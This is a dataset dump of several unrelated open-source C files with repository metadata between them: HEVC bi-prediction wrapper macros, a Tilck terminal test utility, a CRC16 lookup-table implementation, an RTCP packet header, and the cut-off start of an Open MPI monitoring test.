hevc_hv_bi_4t_8multx4mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 24);
}
static void hevc_hv_bi_4t_32w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
hevc_hv_bi_4t_8multx4mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 32);
}
#define BI_MC_COPY(WIDTH) \
void ff_hevc_put_hevc_bi_pel_pixels##WIDTH##_8_msa(uint8_t *dst, \
ptrdiff_t dst_stride, \
const uint8_t *src, \
ptrdiff_t src_stride, \
const int16_t *src_16bit, \
int height, \
intptr_t mx, \
intptr_t my, \
int width) \
{ \
hevc_bi_copy_##WIDTH##w_msa(src, src_stride, src_16bit, MAX_PB_SIZE, \
dst, dst_stride, height); \
}
BI_MC_COPY(4);
BI_MC_COPY(6);
BI_MC_COPY(8);
BI_MC_COPY(12);
BI_MC_COPY(16);
BI_MC_COPY(24);
BI_MC_COPY(32);
BI_MC_COPY(48);
BI_MC_COPY(64);
#undef BI_MC_COPY
#define BI_MC(PEL, DIR, WIDTH, TAP, DIR1, FILT_DIR) \
void ff_hevc_put_hevc_bi_##PEL##_##DIR##WIDTH##_8_msa(uint8_t *dst, \
ptrdiff_t dst_stride, \
const uint8_t *src, \
ptrdiff_t src_stride, \
const int16_t *src_16bit, \
int height, \
intptr_t mx, \
intptr_t my, \
int width) \
{ \
const int8_t *filter = ff_hevc_##PEL##_filters[FILT_DIR - 1]; \
\
hevc_##DIR1##_bi_##TAP##t_##WIDTH##w_msa(src, src_stride, src_16bit, \
MAX_PB_SIZE, dst, dst_stride, \
filter, height); \
}
BI_MC(qpel, h, 4, 8, hz, mx);
BI_MC(qpel, h, 8, 8, hz, mx);
BI_MC(qpel, h, 12, 8, hz, mx);
BI_MC(qpel, h, 16, 8, hz, mx);
BI_MC(qpel, h, 24, 8, hz, mx);
BI_MC(qpel, h, 32, 8, hz, mx);
BI_MC(qpel, h, 48, 8, hz, mx);
BI_MC(qpel, h, 64, 8, hz, mx);
BI_MC(qpel, v, 4, 8, vt, my);
BI_MC(qpel, v, 8, 8, vt, my);
BI_MC(qpel, v, 12, 8, vt, my);
BI_MC(qpel, v, 16, 8, vt, my);
BI_MC(qpel, v, 24, 8, vt, my);
BI_MC(qpel, v, 32, 8, vt, my);
BI_MC(qpel, v, 48, 8, vt, my);
BI_MC(qpel, v, 64, 8, vt, my);
BI_MC(epel, h, 4, 4, hz, mx);
BI_MC(epel, h, 8, 4, hz, mx);
BI_MC(epel, h, 6, 4, hz, mx);
BI_MC(epel, h, 12, 4, hz, mx);
BI_MC(epel, h, 16, 4, hz, mx);
BI_MC(epel, h, 24, 4, hz, mx);
BI_MC(epel, h, 32, 4, hz, mx);
BI_MC(epel, v, 4, 4, vt, my);
BI_MC(epel, v, 8, 4, vt, my);
BI_MC(epel, v, 6, 4, vt, my);
BI_MC(epel, v, 12, 4, vt, my);
BI_MC(epel, v, 16, 4, vt, my);
BI_MC(epel, v, 24, 4, vt, my);
BI_MC(epel, v, 32, 4, vt, my);
#undef BI_MC
#define BI_MC_HV(PEL, WIDTH, TAP) \
void ff_hevc_put_hevc_bi_##PEL##_hv##WIDTH##_8_msa(uint8_t *dst, \
ptrdiff_t dst_stride, \
const uint8_t *src, \
ptrdiff_t src_stride, \
const int16_t *src_16bit, \
int height, \
intptr_t mx, \
intptr_t my, \
int width) \
{ \
const int8_t *filter_x = ff_hevc_##PEL##_filters[mx - 1]; \
const int8_t *filter_y = ff_hevc_##PEL##_filters[my - 1]; \
\
hevc_hv_bi_##TAP##t_##WIDTH##w_msa(src, src_stride, src_16bit, \
MAX_PB_SIZE, dst, dst_stride, \
filter_x, filter_y, height); \
}
BI_MC_HV(qpel, 4, 8);
BI_MC_HV(qpel, 8, 8);
BI_MC_HV(qpel, 12, 8);
BI_MC_HV(qpel, 16, 8);
BI_MC_HV(qpel, 24, 8);
BI_MC_HV(qpel, 32, 8);
BI_MC_HV(qpel, 48, 8);
BI_MC_HV(qpel, 64, 8);
BI_MC_HV(epel, 4, 4);
BI_MC_HV(epel, 8, 4);
BI_MC_HV(epel, 6, 4);
BI_MC_HV(epel, 12, 4);
BI_MC_HV(epel, 16, 4);
BI_MC_HV(epel, 24, 4);
BI_MC_HV(epel, 32, 4);
#undef BI_MC_HV
|
6ee7239301e60e4bf70a8b5b6ed89aec3907b674
|
9e0c8c8d8bafa73d133e41f201badc756c92978a
|
/userapps/termtest.c
|
37ad6672fad052bf419617e389d894c5cc17b1e4
|
[
"BSD-2-Clause",
"MIT",
"CC0-1.0",
"BSD-3-Clause",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause-Views"
] |
permissive
|
vvaltchev/tilck
|
ccf8d9933be1269b85388e5b21645b831ecf5412
|
e9c27da4dd15f5f8a927b11f31484aec3f1429f0
|
refs/heads/master
| 2023-08-16T00:07:42.593483
| 2023-07-04T21:00:31
| 2023-07-19T23:25:42
| 53,845,595
| 2,142
| 115
|
BSD-2-Clause
| 2023-09-03T05:36:46
| 2016-03-14T10:02:41
|
C
|
UTF-8
|
C
| false
| false
| 11,281
|
c
|
termtest.c
|
/* SPDX-License-Identifier: BSD-2-Clause */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <ctype.h>
#include <errno.h>
#include <time.h>
#include <inttypes.h>
#include <unistd.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/kd.h>
#include <fcntl.h>
#include <poll.h>
#include <x86intrin.h> /* for __rdtsc() */
#ifdef USERMODE_APP
/* The application is compiled with Tilck's build system */
#include <tilck/common/debug/termios_debug.c.h>
#else
#define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0]))
#endif
#define RDTSC() __rdtsc()
#define CSI_ERASE_DISPLAY "\033[2J"
#define CSI_MOVE_CURSOR_TOP_LEFT "\033[1;1H"
struct termios orig_termios;
void term_set_raw_mode(void)
{
struct termios t = orig_termios;
printf("Setting tty to 'raw' mode\n");
// "Full" raw mode
t.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);
t.c_oflag &= ~(OPOST);
t.c_cflag |= (CS8);
t.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);
tcsetattr(0, TCSAFLUSH, &t);
}
void save_termios(void)
{
tcgetattr(0, &orig_termios);
}
void restore_termios(void)
{
tcsetattr(0, TCSAFLUSH, &orig_termios);
ioctl(0, KDSKBMODE, K_XLATE);
}
void one_read(void)
{
int ret;
char buf[32];
printf("one byte RAW read\n");
term_set_raw_mode();
ret = read(0, buf, 32);
printf("read(%d): ", ret);
for (int i = 0; i < ret; i++) {
if (buf[i] == '\033')
printf("ESC ");
else if (buf[i] == '\n')
printf("NL ");
else if (buf[i] == '\r')
printf("CR ");
else if (isprint(buf[i]))
printf("%c ", buf[i]);
else
printf("[%#x] ", buf[i]);
}
printf("\n");
}
void echo_read(void)
{
int ret;
char buf[16];
printf("echo_read()\n");
term_set_raw_mode();
while (1) {
ret = read(0, buf, sizeof(buf));
write(1, buf, ret);
if (ret == 1 && (buf[0] == '\n' || buf[0] == '\r'))
break;
}
}
void show_read_res(int r, char c)
{
if (r > 0)
printf("read(%d): %#x\n", r, c);
else
printf("read(%d)\n", r);
}
void read_1_canon_mode(void)
{
char buf[32] = {0};
int r;
printf("read_1_canon_mode(): read 2 chars, one-by-one\n");
r = read(0, buf, 1);
show_read_res(r, buf[0]);
r = read(0, buf, 1);
show_read_res(r, buf[0]);
}
void read_canon_mode(void)
{
char buf[32] = {0};
int r;
printf("Regular read in canonical mode\n");
r = read(0, buf, 32);
printf("read(%d): %s", r, buf);
}
void read_ttys0_canon_mode(void)
{
char buf[32] = {0};
int r, fd;
fd = open("/dev/ttyS0", O_RDONLY);
if (fd < 0) {
perror("Open /dev/ttyS0 failed");
return;
}
printf("Regular read from /dev/ttyS0 in canonical mode\n");
r = read(fd, buf, 32);
printf("read(%d): %s", r, buf);
close(fd);
}
void write_to_stdin(void)
{
char c = 'a';
int r;
printf("Write 'a' to stdin\n");
r = write(0, &c, 1);
printf("write() -> %d\n", r);
printf("now read 1 byte from stdin\n");
r = read(0, &c, 1);
printf("read(%d): %#x\n", r, c);
}
double timespec_diff(const struct timespec *t1,
const struct timespec *t0)
{
return (t1->tv_sec - t0->tv_sec) + (t1->tv_nsec - t0->tv_nsec) / 1.0e9;
}
void timespec_to_human_str(char *buf, size_t bufsz, double t)
{
if (t >= 1.0)
snprintf(buf, bufsz, "%7.3f s", t);
else if (t >= 0.001)
snprintf(buf, bufsz, "%7.3f ms", t * 1.0e3);
else if (t >= 0.000001)
snprintf(buf, bufsz, "%7.3f us", t * 1.0e6);
else
snprintf(buf, bufsz, "%7.3f ns", t * 1.0e9);
}
void console_perf_test(void)
{
static const char letters[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
int iters = 3;
struct winsize w;
char *buf, tot_time_s[32], c_time_s[32];
ssize_t r, tot, written;
struct timespec ts_before, ts_after;
uint64_t start, end, c;
double tot_time_real, tot_time, time_c, cycles_per_sec;
if (ioctl(1, TIOCGWINSZ, &w) != 0) {
perror("ioctl() failed");
return;
}
tot = w.ws_row * w.ws_col;
buf = malloc(tot);
if (!buf) {
fprintf(stderr, "Out of memory\n");
return;
}
for (int i = 0; i < tot; i++) {
buf[i] = letters[i % (sizeof(letters) - 1)];
}
printf("%s", CSI_ERASE_DISPLAY CSI_MOVE_CURSOR_TOP_LEFT);
retry:
clock_gettime(CLOCK_REALTIME, &ts_before);
start = RDTSC();
for (int i = 0; i < iters; i++) {
for (r = 0, written = 0; written < tot; written += r) {
r = write(1, buf + written, tot - written);
if (r < 0) {
perror("write() failed");
return;
}
}
}
end = RDTSC();
clock_gettime(CLOCK_REALTIME, &ts_after);
c = (end - start) / iters;
tot_time_real = timespec_diff(&ts_after, &ts_before);
tot_time = tot_time_real / iters;
time_c = tot_time / (double)tot;
cycles_per_sec = (end - start) / tot_time_real;
if (tot_time_real <= 0.1) {
/*
* We're way too fast: it makes sense to do more iterations to gain a
* more accurate measurement.
*/
iters *= 10;
goto retry;
}
timespec_to_human_str(tot_time_s, sizeof(tot_time_s), tot_time);
timespec_to_human_str(c_time_s, sizeof(c_time_s), time_c);
printf("Term size: %d rows x %d cols\n", w.ws_row, w.ws_col);
printf("Tot iterations: %d\n\n", iters);
printf("Screen redraw: %12" PRIu64 " cycles (%s)\n", c, tot_time_s);
printf("Avg. character cost: %12" PRIu64 " cycles (%s)\n", c/tot, c_time_s);
printf("Cycles per sec: %12.0f cycles/sec\n", cycles_per_sec);
free(buf);
}
void read_nonblock(void)
{
int rc;
char buf[32];
int saved_flags = fcntl(0, F_GETFL, 0);
printf("Setting non-block mode for fd 0\r\n");
rc = fcntl(0, F_SETFL, saved_flags | O_NONBLOCK);
if (rc != 0) {
fprintf(stderr, "fcntl() failed: %s\r\n", strerror(errno));
return;
}
for (int i = 0; ; i++) {
rc = read(0, buf, 1);
if (rc >= 0) {
buf[rc] = 0;
printf("[iter %d] read() = %d [buf: '%s']\r\n", i, rc, buf);
if (buf[0] == 'q')
break;
} else {
printf("[iter %d] read() = %d (errno: %d => %s)\r\n",
i, rc, errno, strerror(errno));
usleep(500*1000);
}
}
// Restore the original flags
rc = fcntl(0, F_SETFL, saved_flags);
if (rc != 0)
fprintf(stderr, "fcntl() failed: %s\r\n", strerror(errno));
}
void read_nonblock_rawmode(void)
{
term_set_raw_mode();
read_nonblock();
}
static void write_full_row(void)
{
struct winsize w;
ioctl(1, TIOCGWINSZ, &w);
printf("Term size: %d rows x %d cols\n\n", w.ws_row, w.ws_col);
printf("TEST 1) Full row with '-':\n");
for (int i = 0; i < w.ws_col; i++)
putchar('-');
printf("[text after full row]\n\n\n");
printf("TEST 2) Now full row with '-' + \\n\n");
for (int i = 0; i < w.ws_col; i++)
putchar('-');
putchar('\n');
printf("[text after full row]\n\n");
}
static void sleep_then_read(void)
{
char buf[32] = {0};
int rc;
printf("sleep\n");
sleep(2);
printf("sleep done, reading\n");
rc = read(0, buf, sizeof(buf));
printf("read(): %d -> '%s'\n", rc, buf);
}
static void sym_read(void)
{
char buf[32] = {0};
int rc;
if (!fork()) {
printf("[child]\n");
rc = read(0, buf, sizeof(buf));
printf("[child] read(): %d -> '%s'\n", rc, buf);
exit(0);
}
printf("[parent] reading...\n");
rc = read(0, buf, sizeof(buf));
printf("[parent] read(): %d -> '%s'\n", rc, buf);
waitpid(-1, NULL, 0);
}
static void poll_and_read(void)
{
char buf[32] = {0};
int rc, pos = 0;
struct pollfd fds[] = {
{ .fd = 0, .events = POLLIN, .revents = 0 }
};
printf("Setting TTY in raw mode\n");
term_set_raw_mode();
while (1) {
rc = poll(fds, 1 /* nfds */, 1000 /* ms */);
printf("poll() -> %d\r\n", rc);
if (rc > 0) {
if (fds[0].revents & POLLIN) {
printf("fd %d -> POLLIN\r\n", fds[0].fd);
break;
}
if (fds[0].revents & POLLPRI)
printf("fd %d -> POLLPRI\r\n", fds[0].fd);
if (fds[0].revents & POLLRDHUP)
printf("fd %d -> POLLRDHUP\r\n", fds[0].fd);
if (fds[0].revents & POLLERR)
printf("fd %d -> POLLERR\r\n", fds[0].fd);
if (fds[0].revents & POLLHUP)
printf("fd %d -> POLLHUP\r\n", fds[0].fd);
if (fds[0].revents & POLLNVAL)
printf("fd %d -> POLLNVAL\r\n", fds[0].fd);
}
}
printf("poll() said there's something to read. read():\r\n");
for (pos = 0; pos < 32; pos++) {
rc = read(0, buf + pos, 1);
printf("read() -> %d\r\n", rc);
printf("buf[%d]: %#x\r\n", pos, (unsigned)buf[pos]);
rc = poll(fds, 1 /* nfds */, 50 /* ms */);
printf("poll() -> %d\r\n", rc);
if (rc > 0) {
if (fds[0].revents & POLLIN) {
printf("fd %d -> POLLIN\r\n", fds[0].fd);
continue;
}
}
printf("Nothing more to read, break\r\n");
break;
}
}
static void medium_raw_read(void)
{
char c;
int rc;
if (ioctl(0, KDSKBMODE, K_MEDIUMRAW) != 0) {
printf("Unable to set mediumraw mode.\r\n");
return;
}
term_set_raw_mode();
do {
rc = read(0, &c, 1);
if (!rc)
break;
if (c & 0x80)
printf("released %#x", (unsigned char)(c & ~0x80));
else
printf("PRESSED %#x", (unsigned char)(c & ~0x80));
printf("\r\n");
} while (c != 0x10 /* q */);
}
#ifdef USERMODE_APP
static void dump_termios(void)
{
debug_dump_termios(&orig_termios);
}
#endif
#define CMD_ENTRY(opt, func) { (opt), #func, &func }
static struct {
const char *opt;
const char *func_name;
void (*func)(void);
} commands[] = {
CMD_ENTRY("-r", one_read),
CMD_ENTRY("-e", echo_read),
CMD_ENTRY("-1", read_1_canon_mode),
CMD_ENTRY("-c", read_canon_mode),
CMD_ENTRY("-w", write_to_stdin),
#ifdef USERMODE_APP
CMD_ENTRY("-s", dump_termios),
#endif
CMD_ENTRY("-p", console_perf_test),
CMD_ENTRY("-n", read_nonblock),
CMD_ENTRY("-nr", read_nonblock_rawmode),
CMD_ENTRY("-fr", write_full_row),
CMD_ENTRY("-sr", sleep_then_read),
CMD_ENTRY("-mr", sym_read),
CMD_ENTRY("-cs", read_ttys0_canon_mode),
CMD_ENTRY("-pr", poll_and_read),
CMD_ENTRY("-xmr", medium_raw_read),
};
static void show_help(void)
{
printf("Options:\n");
for (size_t i = 0; i < ARRAY_SIZE(commands); i++) {
printf(" %-3s %s()\n", commands[i].opt, commands[i].func_name);
}
}
int main(int argc, char ** argv)
{
void (*cmdfunc)(void) = show_help;
if (argc < 2) {
show_help();
return 1;
}
for (size_t i = 0; i < ARRAY_SIZE(commands); i++) {
if (!strcmp(argv[1], commands[i].opt)) {
cmdfunc = commands[i].func;
break;
}
}
save_termios();
cmdfunc();
restore_termios();
if (cmdfunc != &show_help)
printf("\rOriginal tty mode restored\n");
return 0;
}
|
3e6bd16a7047a23c6c8e52bb413c5d091a22f561
|
60b0251bee63fef9c87633dd98f0c2be3841e92e
|
/swap-ssdb-1.9.2/src/redis/crc/crc16speed.c
|
506f8241e84fcbc8fe66e5115e2803f937c1e013
|
[
"BSD-2-Clause",
"BSD-3-Clause",
"Apache-2.0"
] |
permissive
|
JingchengLi/swapdb
|
a88855b884e89a761bd2fb7ad9147e46f7997a80
|
079361aea394424bf1edf75e2f97fba719e5348f
|
refs/heads/master
| 2023-03-12T11:47:11.086624
| 2023-03-02T15:06:03
| 2023-03-02T15:06:03
| 99,323,866
| 264
| 52
| null | null | null | null |
UTF-8
|
C
| false
| false
| 8,074
|
c
|
crc16speed.c
|
/* Copyright (c) 2014, Matt Stancliff <matt@genges.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE. */
#include "crc16speed.h"
/* If CRCSPEED16_DUAL is defined, we allow calls to
* both _little and _big CRC.
* By default, we only allow one endianness to be used
* and the first call to either _init function will set the
* lookup table endianness for the life of this module.
* We don't enable dual lookups by default because
* each 8x256 lookup table is 4k. */
#ifndef CRC16SPEED_DUAL
static uint16_t crc16_table[8][256] = {{0}};
static void *crc16_table_little = NULL, *crc16_table_big = NULL;
static const bool dual = false;
#else
static uint16_t crc16_table_little[8][256] = {{0}};
static uint16_t crc16_table_big[8][256] = {{0}};
static void *crc16_table = NULL;
static const bool dual = true;
#endif
/* value of crc16_table[0][1], architecture dependent. */
#define LITTLE1 UINT16_C(0x1021)
#define BIG1 UINT16_C(0x2110)
/* Define CRC16SPEED_SAFE if you want runtime checks to stop
* CRCs from being calculated by uninitialized tables (and also stop tables
* from being initialized more than once). */
#ifdef CRC16SPEED_SAFE
#define should_init(table, val) \
do { \
if ((table)[0][1] == (val)) \
return false; \
} while (0)
#define check_init(table, val) \
do { \
if ((table)[0][1] != (val)) \
return false; \
} while (0)
#else
#define should_init(a, b)
#define check_init(a, b)
#endif
/* This is CRC-16-CCITT (non-reflected poly, non-inverted input/output).
* crc16() is only used to bootstrap an initial 256-entry lookup table. */
#define POLY 0x1021
uint16_t crc16(uint16_t crc, const void *in_data, uint64_t len) {
const uint8_t *data = in_data;
for (uint64_t i = 0; i < len; i++) {
crc = crc ^ (data[i] << 8);
for (int j = 0; j < 8; j++) {
if (crc & 0x8000) {
crc = (crc << 1) ^ POLY;
} else {
crc = (crc << 1);
}
}
}
return crc;
}
/* Only for testing; doesn't support DUAL */
uint16_t crc16_lookup(uint16_t crc, const void *in_data, uint64_t len) {
const uint8_t *data = in_data;
for (uint64_t i = 0; i < len; i++) {
crc = (crc << 8) ^ crc16_table[0][((crc >> 8) ^ data[i]) & 0x00ff];
}
return crc;
}
/* Returns false if CRC16SPEED_SAFE and table already initialized. */
bool crc16speed_init(void) {
#ifndef CRC16SPEED_DUAL
should_init(crc16_table, LITTLE1);
#else
should_init(crc16_table_little, LITTLE1);
#endif
crcspeed16little_init(crc16, dual ? crc16_table_little : crc16_table);
return true;
}
/* Returns false if CRC16SPEED_SAFE and table already initialized. */
bool crc16speed_init_big(void) {
#ifndef CRC16SPEED_DUAL
should_init(crc16_table, BIG1);
#else
should_init(crc16_table_big, BIG1);
#endif
crcspeed16big_init(crc16, dual ? crc16_table_big : crc16_table);
return true;
}
uint16_t crc16speed(uint16_t crc, const void *s, const uint64_t l) {
/* Quickly check if CRC table is initialized to little endian correctly. */
#ifndef CRC16SPEED_DUAL
check_init(crc16_table, LITTLE1);
#else
check_init(crc16_table_little, LITTLE1);
#endif
return crcspeed16little(dual ? crc16_table_little : crc16_table, crc,
(void *)s, l);
}
uint16_t crc16speed_big(uint16_t crc, const void *s, const uint64_t l) {
/* Quickly check if CRC table is initialized to big endian correctly. */
#ifndef CRC16SPEED_DUAL
check_init(crc16_table, BIG1);
#else
check_init(crc16_table_big, BIG1);
#endif
return crcspeed16big(dual ? crc16_table_big : crc16_table, crc, (void *)s,
l);
}
bool crc16speed_init_native(void) {
const uint64_t n = 1;
return *(char *)&n ? crc16speed_init() : crc16speed_init_big();
}
/* If you are on a platform where endianness can change at runtime, this
* will break unless you compile with CRC16SPEED_DUAL and manually run
* _init() and _init_big() instead of using _init_native() */
uint16_t crc16speed_native(uint16_t crc, const void *s, const uint64_t l) {
const uint64_t n = 1;
return *(char *)&n ? crc16speed(crc, s, l) : crc16speed_big(crc, s, l);
}
/* Iterate over table to fully load it into a cache near the CPU. */
void crc16speed_cache_table(void) {
uint16_t m;
for (int i = 0; i < 8; ++i) {
for (int j = 0; j < 256; ++j) {
#ifndef CRC16SPEED_DUAL
m = crc16_table[i][j];
#else
m = crc16_table_little[i][j];
m += crc16_table_big[i][j];
#endif
++m;
}
}
}
/* Test main */
#if defined(REDIS_TEST) || defined(REDIS_TEST_MAIN)
#include <stdio.h>
#include <stdlib.h>
#define UNUSED(x) (void)(x)
int crc16Test(int argc, char *argv[]) {
UNUSED(argc);
UNUSED(argv);
crc16speed_init();
printf("[calcula]: 31c3 == %04" PRIx64 "\n",
(uint64_t)crc16(0, "123456789", 9));
printf("[lookupt]: 31c3 == %04" PRIx64 "\n",
(uint64_t)crc16_lookup(0, "123456789", 9));
printf("[16speed]: 31c3 == %04" PRIx64 "\n",
(uint64_t)crc16speed(0, "123456789", 9));
char li[] = "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed "
"do eiusmod tempor incididunt ut labore et dolore magna "
"aliqua. Ut enim ad minim veniam, quis nostrud exercitation "
"ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis "
"aute irure dolor in reprehenderit in voluptate velit esse "
"cillum dolore eu fugiat nulla pariatur. Excepteur sint "
"occaecat cupidatat non proident, sunt in culpa qui officia "
"deserunt mollit anim id est laborum.";
printf("[calcula]: 4b20 == %04" PRIx64 "\n",
(uint64_t)crc16(0, li, sizeof(li)));
printf("[lookupt]: 4b20 == %04" PRIx64 "\n",
(uint64_t)crc16_lookup(0, li, sizeof(li)));
printf("[16speed]: 4b20 == %04" PRIx64 "\n",
(uint64_t)crc16speed(0, li, sizeof(li)));
return 0;
}
#endif
#ifdef REDIS_TEST_MAIN
int main(int argc, char *argv[]) {
return crc16Test(argc, argv);
}
#endif
|
570c2d30d24ebbb1d7d219b0c3f8345f0d0f84b3
|
5f0cc6c71f175a81cabf39a5367b3725104304b6
|
/src/source/Rtcp/RtcpPacket.h
|
3a11499e02341391184e2848367237777069c078
|
[
"Apache-2.0"
] |
permissive
|
awslabs/amazon-kinesis-video-streams-webrtc-sdk-c
|
74903998bef0dd9b3f6f23cad32cc164e549731c
|
3416e6d7c103653162f28accfb06d4d0bee4864e
|
refs/heads/master
| 2023-09-02T14:51:41.853395
| 2023-09-01T14:59:31
| 2023-09-01T14:59:31
| 204,783,139
| 838
| 312
|
Apache-2.0
| 2023-09-14T00:19:37
| 2019-08-27T20:16:16
|
C
|
UTF-8
|
C
| false
| false
| 3,336
|
h
|
RtcpPacket.h
|
/*******************************************
RTCP Packet include file
*******************************************/
#ifndef __KINESIS_VIDEO_WEBRTC_CLIENT_RTCP_RTCPPACKET_H
#define __KINESIS_VIDEO_WEBRTC_CLIENT_RTCP_RTCPPACKET_H
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
#define RTCP_PACKET_LEN_OFFSET 2
#define RTCP_PACKET_TYPE_OFFSET 1
#define RTCP_PACKET_RRC_BITMASK 0x1F
#define RTCP_PACKET_HEADER_LEN 4
#define RTCP_NACK_LIST_LEN 8
#define RTCP_PACKET_VERSION_VAL 2
#define RTCP_PACKET_LEN_WORD_SIZE 4
#define RTCP_PACKET_REMB_MIN_SIZE 16
#define RTCP_PACKET_REMB_IDENTIFIER_OFFSET 8
#define RTCP_PACKET_REMB_MANTISSA_BITMASK 0x3FFFF
#define RTCP_PACKET_SENDER_REPORT_MINLEN 24
#define RTCP_PACKET_RECEIVER_REPORT_BLOCK_LEN 24
#define RTCP_PACKET_RECEIVER_REPORT_MINLEN 4 + RTCP_PACKET_RECEIVER_REPORT_BLOCK_LEN
// https://tools.ietf.org/html/rfc3550#section-4
// If the participant has not yet sent an RTCP packet (the variable
// initial is true), the constant Tmin is set to 2.5 seconds, else it
// is set to 5 seconds.
#define RTCP_FIRST_REPORT_DELAY (3 * HUNDREDS_OF_NANOS_IN_A_SECOND)
typedef enum {
RTCP_PACKET_TYPE_FIR = 192, // https://tools.ietf.org/html/rfc2032#section-5.2.1
RTCP_PACKET_TYPE_SENDER_REPORT = 200,
RTCP_PACKET_TYPE_RECEIVER_REPORT = 201, // https://tools.ietf.org/html/rfc3550#section-6.4.2
RTCP_PACKET_TYPE_SOURCE_DESCRIPTION = 202,
RTCP_PACKET_TYPE_GENERIC_RTP_FEEDBACK = 205,
RTCP_PACKET_TYPE_PAYLOAD_SPECIFIC_FEEDBACK = 206,
} RTCP_PACKET_TYPE;
typedef enum {
RTCP_FEEDBACK_MESSAGE_TYPE_NACK = 1,
RTCP_PSFB_PLI = 1, // https://tools.ietf.org/html/rfc4585#section-6.3
RTCP_PSFB_SLI = 2, // https://tools.ietf.org/html/rfc4585#section-6.3.2
RTCP_FEEDBACK_MESSAGE_TYPE_APPLICATION_LAYER_FEEDBACK = 15,
} RTCP_FEEDBACK_MESSAGE_TYPE;
/*
*
* 0 1 2 3
* 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* |V=2|P| Count | PT | length |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/
typedef struct {
UINT8 version;
UINT8 receptionReportCount;
RTCP_PACKET_TYPE packetType;
UINT32 packetLength;
} RtcpPacketHeader, *PRtcpPacketHeader;
typedef struct {
RtcpPacketHeader header;
PBYTE payload;
UINT32 payloadLength;
} RtcpPacket, *PRtcpPacket;
STATUS setRtcpPacketFromBytes(PBYTE, UINT32, PRtcpPacket);
STATUS rtcpNackListGet(PBYTE, UINT32, PUINT32, PUINT32, PUINT16, PUINT32);
STATUS rembValueGet(PBYTE, UINT32, PDOUBLE, PUINT32, PUINT8);
STATUS isRembPacket(PBYTE, UINT32);
#define NTP_OFFSET 2208988800ULL
#define NTP_TIMESCALE 4294967296ULL
// converts 100ns precision time to ntp time
UINT64 convertTimestampToNTP(UINT64 time100ns);
#define DLSR_TIMESCALE 65536
// https://tools.ietf.org/html/rfc3550#section-4
// In some fields where a more compact representation is
// appropriate, only the middle 32 bits are used; that is, the low 16
// bits of the integer part and the high 16 bits of the fractional part.
#define MID_NTP(ntp_time) (UINT32)((currentTimeNTP >> 16U) & 0xffffffffULL)
#ifdef __cplusplus
}
#endif
#endif //__KINESIS_VIDEO_WEBRTC_CLIENT_RTCP_RTCPPACKET_H
|
05c3f54332736a9ac0a2ed2115e89b11f1165a60
|
e814383d36a10839104efaa4df277996ab220fa3
|
/test/monitoring/monitoring_test.c
|
c3afa2f5abc29cbeabc507840651ab3906ddf15d
|
[
"mpich2",
"BSD-3-Clause-Open-MPI"
] |
permissive
|
open-mpi/ompi
|
a1d7483ae1d83dd8fd8ae3ee95e832e0a0ee04e3
|
1edfdb025c4450f694600083ad871cf06c8d45cd
|
refs/heads/main
| 2023-09-01T01:30:02.040705
| 2023-08-29T17:32:18
| 2023-08-29T17:32:18
| 24,107,001
| 2,008
| 973
|
NOASSERTION
| 2023-09-14T20:59:26
| 2014-09-16T16:08:30
|
C
|
UTF-8
|
C
| false
| false
| 15,460
|
c
|
monitoring_test.c
|
/*
* Copyright (c) 2013-2015 The University of Tennessee and The University
* of Tennessee Research Foundation. All rights
* reserved.
* Copyright (c) 2013-2017 Inria. All rights reserved.
* Copyright (c) 2015 Cisco Systems, Inc. All rights reserved.
* Copyright (c) 2016 Intel, Inc. All rights reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
/*
pml monitoring tester.
